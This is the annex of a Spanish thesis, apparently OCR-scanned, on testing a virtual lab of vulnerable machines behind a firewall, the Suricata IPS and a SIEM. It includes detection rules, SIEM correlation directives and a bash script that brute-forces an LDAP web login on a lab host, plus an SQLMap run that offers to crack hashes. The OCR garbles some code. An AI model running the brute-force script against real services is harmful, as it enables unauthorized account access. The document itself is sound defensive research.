E} Entorno 01- AlienVault - IPS-PER-RCP-01 Powered On 208,11 GB 108,13 GB 2401 2766 10l
3 Entorno 01-AlienVault- VULNERABLE Powered On 20,61 GB 20,61 GB g1 404 3
5 Entorno 01-AlienVault - VWM-PXmlEntities-01 Powered On 621,01 MB 621,01 MB 41 533 2
{3 Entorno 01-AlienVault - VWM-Shellshock-01 Powered On 365,00 MB 109,00 MB 61 21610 20
E} Entorno 01- AlienVault - VWM-5QLi-01 Powered On 1,11 GB 109,00 MB g1 26110 0

E} Entorno 01- AlienVault - VVM-5QLi-02 Powered On 633,01 MB 633,01 MB 4 2651 0

B Entorno 01- AlienVault-VVM-WebForPentester-..  Powered On 621,00 MB 108,00 MB 61 26110 3
B Entorno 01- AlienVault-VVM-WebForPentester-..  Powered On 621,00 MB 108,00 MB 141 23210 iyl

Figura 57: requisitos hardware del entorno virtualizado.

9.2 Plugin especifico para normalizar eventos de Endian Firewall:

El plugin de Iptables que venia por defecto no se ajustaba a las necesidades de
los logs. Se procedido a generar un nuevo plugin para la tecnologia Endian
Firewall que normalizase correctamente las trazas enviadas por el firewall
perimetral. El cddigo de dicho plugin es el siguiente:

#

# Author: Roberto Carlos Perez

# Plugin iptables id:1503 version: 1.0

# Last modification: 18:32 06-05-2016

#

# Accepted products: Endian Firewall (iptables format)
#

[DEFAULT]
plugin_id=1503

[config]
type=detector
enable=yes

source=log
location=/var/log/SYSLOG/endian-fw.log

create_file=false

process=
start=no
stop=no
startup=
shutdown=

[translation]

ACCEPT=1
REJECT=2
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DROP=3

DENY=3

Inbound=4

Outbound=5
BADTCP:DROP=3
FORWARD:DROP=3
INPUT:DROP=3
INPUTFW:DROP=3
OUTGOINGFW:ALLOW:2=1
PORTFWACCESS:ALLOW:1=1

[0 - iptables]

event_type=event

regexp="(?P<date>\S+\s+\d+\s+\d{2}.\d{2}:\d{2})\s+(?P<device>\S*) (?
P<program_name>\S*):.*?(?P<action>\S+)\s+IN=(?P<input_interface>\S*) OouT=(?
P<output_interface>\S*)\s+(?:MAC=(?P<mac>[Ms]*)\s+)?SRC=(?
P<src_ip>\d{1,3\.\d{1,3}\.\d{1,3}\.\d{1,3}) DST=(?
P<dst_ip>\d{1,3\.\d{1,3)\.\d{1,3)\.\d{1,3}) LEN=(?P<len>\d+) \S+ \S+ TTL=(\d+) .*?
PROTO=(?P<proto>\S*) SPT=(?P<src_port>\d*) DPT=(?P<dst_port>\d*)"
date={normalize_date($date)}

plugin_sid={translate($action)}

src_ip={$src_ip}

dst_ip={$dst_ip}

protocol={$proto}

src_port={$src_port}

dst_port={$dst_port}

userdata1={$action}

userdata2={$mac}

userdata3={$input_interface}

userdatad4={$output _interface}

9.3 Directivas de correlacion para la deteccion de ataques:

Con el fin de afinar mas la detecciéon de los escaneos se ha decidido integrar
las trazas del firewall perimetral en el SIEM. Una vez hecho esto se han
generado dos directivas (reglas de deteccion escritas en XML) con el fin de
detectar barridos y escaneos contra las redes publicadas. Estas reglas de
correlacion son de las mas basicas que se pueden realizar para detectar
vectores de ataques en este tipo de plataforma.

En primer lugar se ha creado una regla especifica con un umbral de 10 eventos
a los puertos de servicio mas comunes. Estos eventos pueden ser simples
conexiones:

<directive id="1060100" name="[ENTORNO-VULNERABLEJ[ACCESO NO
AUTORIZADOJ[EXTERNA][MEDIA][FW]Detectado escaneo de servicios desde
SRC_IP" priority="4">

<rule type="detector" name="Detectada conexion" reliability="1" occurrence="1"
from="IHOME_NET" to="HOME_NET" port_from="ANY"

port_to="21,22,23,80,137,138,139,161,162,443,445,1433,1434,1521,3306,3389,5900,5
901,8080" plugin_id="1503" plugin_sid="ANY"
sticky="true" protocol="ANY">
<rules>
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<rule type="detector" name="Detectada conexion" reliability="2" occurrence="10"
from="1:SRC_IP" to="HOME_NET" time_out="900"
port_from="ANY" port_to="1:DST_PORT" plugin_id="1503" plugin_sid="ANY"
sticky="true" sticky different="DST _IP">
<rules>
<rule type="detector" name="Detectada conexion" reliability="7" occurrence="30"
from="1:SRC_IP" to="HOME_NET" time_out="1800"
port_from="ANY" port_to="1:DST_PORT" plugin_id="1503" plugin_sid="ANY"
sticky="true" sticky different="DST_IP">
<rules>
<rule type="detector" name="Detectada conexion" reliability="+3"
occurrence="1000" from="1:SRC_IP" to="HOME_NET"
time_out="86400" port_from="ANY" port_to="1:DST_PORT" plugin_id="1503"
plugin_sid="ANY" sticky="true"
sticky different="DST_IP"/>
</rules>
</rule>
</rules>
</rule>
</rules>
</rule>
</directive>

En segundo lugar se ha creado una regla de correlacion que detecta los
barridos clasicos con herramientas como "Nmap". Se ha considerado un
escaneo vertical cuando se ha intentado probar mas de 50 puertos distintos
contra un mismo objetivo. La regla es la que se muestra a continuacion:

<directive id="1060101" name="[ENTORNO-VULNERABLE]J[ACCESO NO
AUTORIZADOJ[EXTERNA][LEVE][FW]Detectado escaneo de puertos desde
SRC_IP hacia DST_IP" priority="4">

<rule type="detector" name="Detectada conexion" reliability="1" occurrence="1" from="1
HOME_NET" to="HOME_NET" port_from="ANY"

port_to="ANY" plugin_id="1503" plugin_sid="ANY" sticky="true" protocol="ANY">
<rules>

<rule type="detector" name="Detectada conexion" reliability="7" occurrence="50"
from="1:SRC_IP" to="1:DST_IP" time_out="900"

port_from="ANY" port_to="ANY" plugin_id="1503" plugin_sid="ANY" sticky="true"
sticky different="DST_PORT">

<rules>

<rule type="detector" name="Detectada conexion" reliability="+3" occurrence="1000"
from="1:SRC_IP" to="1:DST_IP" time_out="7200"

port_from="ANY" port_to="ANY" plugin_id="1503" plugin_sid="ANY" sticky="true"
sticky different="DST_PORT"/>

</rules>

</rule>

</rules>

</rule>

</directive>

9.4 Configuracion del IPS de “Suricata” en modo online:
En la arquitectura implementada nuestro IPS realiza las labores de routing con
el fin de interceptar todo el trafico que pasa a través de él. De este modo, el

IPS analiza los patrones maliciosos y solo entrega el trafico que a priori esta
limpio. El esquema grafico de nuestro escenario es el siguiente:
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Figura 58: diagrama de configuracion de Suricata Inline.

Para que este escenario funcione correctamente se ha tenido que generar el
siguiente conjunto de rutas y reglas en el iptables.

Tabla de rutas:

Figura 59: tabla de rutas dispositivo IPS.

Reglas en el Iptables:

— iptables - FORWARD -i eth1 -o eth2 - NFQUEUE
— iptables - FORWARD -i eth2 -o eth1 -j NFQUEUE

Estas reglas en el iptables lo que realizan es afiadir todo el trafico que pasa
entre las interfaces eth1 y eth2 a una cola. Esta cola es leida por "Suricata" y
es donde realiza las labores de filtrado. La forma de activar el IPS en linea es
con la ejecucion de "Suricata" en el siguiente modo:

/usr/bin/suricata -C /etc/suricata/suricata-debian.yaml --pidfile
/var/run/suricata.pid -q 0 =D
9.5 Script para realizar fuerza bruta sobre LDAP via web:
Se ha realizado el siguiente script para poder realizar ataques de fuerza bruta
via web sobre el LDAP que tiene instalado la maquina vulnerable VVM-

WebForPentester-01. Este script esta adaptado para realizar el ruido suficiente
como para que un IPS lo detectase. El cédigo fuente es el siguiente:
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#!/bin/bash

# Autor: Roberto Carlos Perez
# Version: 1.0
# Fecha: 07-05-2016 18:03

# Descripcion: este script se utiliza para realizar ataques de fuerza bruta
# ala aplicacion vulnerable de Idap en el servidor web vulnerable del
# TFG.

# VARIABLES GENERALISTAS:
SERVER="http://172.18.169.11:8025"
USERS="admin adm™ hacker hac* root ro™'

# CONTADORES:
AUTH_OK=0
AUTH_FAIL=0
TRIES=0

## MAIN:
temporal_file=$(mktemp)
## Mostramos menu de ayuda

if [ "x$1" 1= "xYes" ] && [ "x$1" I= "xNo" |, then
echo
echo " # Showing help:"
echo
echo "# $0 [Yes|No]"
echo '# $1 - [Yes|No] - To simulate Firefox UserAgent'
echo
exit 0
fi

echo " ### $(date) - Begining test: "
echo
echo " -> Launching first test..."”

## Primero lanzamos fuerza bruta usando los usuarios tanto de usuario como de
password

for user in $USERS; do
for passUser in $USERS; do

if [ "x$1" == "xYes" ]; then
wget --header="Accept: text/html" --user-agent="Mozilla/5.0 (X11; Ubuntu; Linux
x86_64; rv:46.0) Gecko/20100101 Firefox/46.0" -0 Stemporal_file
"$SERVER/Idap/example2.php?name=3%user&password=$passUser" > /dev/null 2>&1
else
wget -O  $temporal file  "$SERVER/Idap/example2.php?
name=$user&password=$passUser" > /dev/null 2>&1
fi

TRIES=$(echo "$TRIES + 1" | bc)
if [ $(grep "AUTHENTICATED as" -i -c $temporal_file) -eq 1 J; then

AUTH_OK=$(echo "$AUTH_OK + 1" | bc)
echo " Auth successful; user: $user; pass: $passUser”
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else
AUTH_FAIL=$(echo "SAUTH_FAIL + 1"| bc)
fi

sleep 0.5
done

done
## Segundo, generamos ruido realizando fuerzas brutas que generen fallos

echo
echo " -> Launching second test..."

for i in $(seq 1 50); do
for user in $USERS; do

if [ "x$1" == "xYes" ]; then
wget --header="Accept: text/html" --user-agent="Mozilla/5.0 (X11; Ubuntu; Linux

x86_64; rv:46.0) Gecko/20100101 Firefox/46.0" -0 $temporal_file
"$SERVER/Idap/example2.php ?name=3$user&password=$passUser" > /dev/null 2>&1
else

wget -O  $temporal_file  "$SERVER/Idap/example2.php?
name=%user&password=$passUser" > /dev/null 2>&1
fi

TRIES=$(echo "$TRIES + 1" | bc)

if [ $(grep "AUTHENTICATED as" -i -c $temporal_file) -eq 1 ]; then
AUTH_OK=$(echo "$AUTH_OK + 1"| bc)
echo " Auth successful; user: $user; pass: $user$i”

else
AUTH_FAIL=$(echo "$AUTH_FAIL + 1"| bc)

fi

sleep 0.5
done

done

## Imprimimos resultados:

echo

echo " ### $(date) - Summary: "

echo

echo " - Auth successful: SAUTH_OK"

echo " - Auth fail: SAUTH_FAIL"

echo " - Tries: $TRIES"

echo

echo " :: Percentage: $(echo "scale=3; SAUTH_OK / $TRIES" | bc) :: "
echo

rm $temporal_file

9.6 Tabla de URL encode:
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Esta tabla representa los caracteres mas habituales que suelen ser codificados
en forma “URL-encode”:

TABLA DE REFERENCIA CARACTERES URL - ASCII:

ASCII URL ASCII URL ASCII URL

# %23 %27 ) %29

! %21 “ %23 & %26

espacio %20 ( %28 / %2F

9.7 Ejecucion de la herramienta “SQLMap”:

Las siguientes imagenes muestran una ejecucion completa de la herramienta
de inyeccién SQL conocida como SQLMap:

ection marking character ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [¥/n/g] ¥

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y

what dictionary do you

1] default dictionary '/ erez/Sqlmap/sqlmapproject-sqlmap-fe9072b/txt/wordlist.zip' (press Enter)
[2] custom dictionary file

3] file with list of dictionary files

> 1

do you want to use common password suffixes? (slow!) [y/N]l N

Figura 60: ejecucion completa de ataque con SQLMap.
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9.8 Noticias / ejemplos de “hackings” producidos en los ultimos afios:

Hackean Sony de nuevo y obtienen mas de 1.000.000 de passwords,
http://www.ps3hax.net/showthread.php?p=206086, (Jun 2, 2011)

Dan Goodin, (2016). TeamViewer users are being hacked in bulk, and we
still don’t know how, http://arstechnica.com/security/2016/06/teamviewer-
users-are-being-hacked-in-bulk-and-we-still-dont-know-how/,  (Jun 4,
2016)

Liam Tung, (2016). Pirate Bay visitors infected with crypto-ransomware
via bad ads, http://www.zdnet.com/article/pirate-bay-visitors-infected-
with-crypto-ransomware-via-bad-ads/, (April 27, 2016)

Agueda A.Llorca, (2016). Un ciberdelincuente ofrece 117 millones de
presuntos correos electronicos y contrasefias de LinkedIn por 2.000
euros, http://www.genbeta.com/seguridad/un-ciberdelincuente-se-hace-
con-117-millones-de-correos-electronicos-y-contrasenas-de-linkedin, (18
Mayo 2016)

Pirates de Catalunya, (2016). Pirates de Catalunya presenta acusacion
particular contra el Sindicato de Mossos d’Esquadra, la Agencia
Catalana de Proteccion de Datos y el CESICAT.
http://pirata.cat/bloc/pirates-de-catalunya-presenta-acusacion-particular-
contra-el-sindicato-de-mossos-desquadra-la-agencia-catalana-de-
proteccion-de-datos-y-el-cesicat/, (May 19, 2016)

69



	1. Introducción
	1.1 Contexto y justificación del Trabajo
	1.2 Objetivos del Trabajo
	1.3 Enfoque y método seguido
	1.4 Planificación del Trabajo
	1.5 Breve sumario de productos obtenidos
	1.6 Breve descripción de los otros capítulos de la memoria

	2. Conceptos teóricos básicos
	2.1 Herramientas de protección
	2.1.1 Dispositivos de tipo cortafuegos:
	2.1.2 Dispositivos de tipo detector de intrusos “IPS”:
	2.1.3 Dispositivos de tipo SIEM:
	
	2.2 Vulnerabilidades
	2.3 Metodologías de pruebas de intrusión:
	2.3.1 OWASP:
	2.3.2 Metodología utilizada para las pruebas de intrusión:

	3. El escenario de trabajo
	3.1 Máquinas vulnerables
	3.1.1 Entornos vulnerables a SQLi:
	3.1.2 Entornos vulnerables a ShellShock:
	3.1.3 Entornos web vulnerables:
	3.2 Herramientas de protección
	3.2.1 Herramientas de protección: selección del firewall
	3.2.2 Herramientas de protección: selección del IPS
	3.3 Flujos de comunicación
	3.4 Segmentación de red:
	3.5 Diseño lógico del entorno:
	3.6 Prueba inicial de concepto:
	3.6.1 Intento de XSS pasando por el IPS:
	3.6.2 Intento de XSS sin canalizar por el IPS:

	4. Pruebas ejecutadas sobre el entorno
	4.1 Fase I: recopilación de información:
	4.1.1 Técnicas de descubrimiento de servicios:
	4.1.2 Técnicas de “fingerprintig”:
	4.1.3 Escaneos automáticos con "nmap":
	4.2 Fase II: Pruebas de gestión de la configuración:
	4.2.1 Enumeración de directorios:
	4.2.2 Pruebas de "Directory Transversal":
	4.2.3 Pruebas de Fuerza bruta:
	4.3 Fase III: Pruebas de validación de datos:
	4.3.1 Inyecciones SQL:
	4.3.2 Inyecciones con SQLMap:
	4.3.3 Inyecciones de código:
	4.3.4 Inyecciones de comandos:
	4.3.5 Inyecciones de XML:
	4.3.6 Cross Site Scripting:

	5. Resultados obtenidos
	5.1 Resultados fase I: recopilación de información.
	5.2 Resultados fase II: Pruebas de gestión de la configuración:
	5.3 Resultados fase III: Pruebas de validación de datos:
	5.4 Análisis de los resultados:

	6. Conclusiones
	6.1 Premisas:
	6.2 Conclusiones de los resultados:
	6.3 Grado de madurez de los sistemas de seguridad:
	6.4 Análisis del seguimiento de la planificación y metodología:
	6.5 Evolución del proyecto:

	7. Glosario
	8. Bibliografía
	8.1 Bibliografía general:
	8.2 Manuales de test de intrusión:
	8.3 ISOs de las máquinas vulnerables:

	9. Anexos
	9.1 Requerimientos hardware del entorno virtualizado:
	9.2 Plugin específico para normalizar eventos de Endian Firewall:
	9.3 Directivas de correlación para la detección de ataques:
	9.4 Configuración del IPS de “Suricata” en modo online:
	9.5 Script para realizar fuerza bruta sobre LDAP vía web:
	9.6 Tabla de URL encode:
	9.7 Ejecución de la herramienta “SQLMap”:
	9.8 Noticias / ejemplos de “hackings” producidos en los últimos años:


